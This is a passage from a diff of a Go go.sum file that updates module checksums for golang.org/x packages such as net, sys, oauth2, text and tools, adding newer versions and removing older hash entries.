v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= +golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= +golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= +golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= +golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU= +golang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20180811021610-c39426892332/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181108082009-03003ca0c849/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= @@ -270,44 +544,132 @@ golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= +golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20191126235420-ef20fe5d7933 h1:e6HwijUxhDe+hPNjZQQn9bA5PW3vNmnN64U2ZW759Lk= -golang.org/x/net v0.0.0-20191126235420-ef20fe5d7933/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= +golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= +golang.org/x/net v0.38.0 h1:vRMAPTMaeGqVhG5QyLJHqNDwecKTomGeqbnfZyKlBI8= +golang.org/x/net v0.38.0/go.mod h1:ivrbrMbzFq5J41QOQh0siUuly180yBYtLp+CKbEaFx8= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/oauth2 v0.0.0-20181106182150-f42d05182288/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190402181905-9f3314589c9a/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20191122200657-5d9234df094c h1:HjRaKPaiWks0f5tA6ELVF7ZfqSppfPwOEEAvsrKUTO4= -golang.org/x/oauth2 v0.0.0-20191122200657-5d9234df094c/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.27.0 h1:da9Vo7/tDv5RH/7nZDz1eMGS/q1Vv1N/7FCrBhI9I3M= +golang.org/x/oauth2 v0.27.0/go.mod h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.13.0 h1:AauUjRAJ9OSnvULf/ARrrVywoJDy0YS2AwQ98I37610= +golang.org/x/sync v0.13.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190502175342-a43fa875dd82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5 h1:LfCXLvNmTYH9kEmVgqbnsWfruoXZIrh4YBgqVHtDvw0= +golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.32.0 h1:s77OFDvIQeibCmezSnk/q6iAfkdiQaJi4VzroCFrN20= +golang.org/x/sys v0.32.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= +golang.org/x/term v0.31.0 h1:erwDkOK1Msy6offm1mOgvspSkslFnIGsFnxOKoufg3o= +golang.org/x/term v0.31.0/go.mod h1:R4BeIy7D95HzImkxGkTW1UQTtP54tio2RyHz7PwK0aw= +golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= -golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.24.0 h1:dd5Bzh4yt5KYA8f9CJHCP4FB4D51c2c6JvN37xJJkJ0= +golang.org/x/text v0.24.0/go.mod h1:L8rBsPeo2pSS+xqN0d5u2ikmjtmoJbDBT1b7nHvFCdU= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20191024005414-555d28b269f0 h1:/5xXl8Y5W96D+TtHSlonuFqGHIWVuyCkGJLwGh9JJFs= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.8.0 h1:9i3RxcPv3PZnitoVGMPDKZSq1xW1gK1Xy3ArNOGZfEg= +golang.org/x/time v0.8.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= @@ -316,52 +678,148 @@ golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3 golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4= +golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod 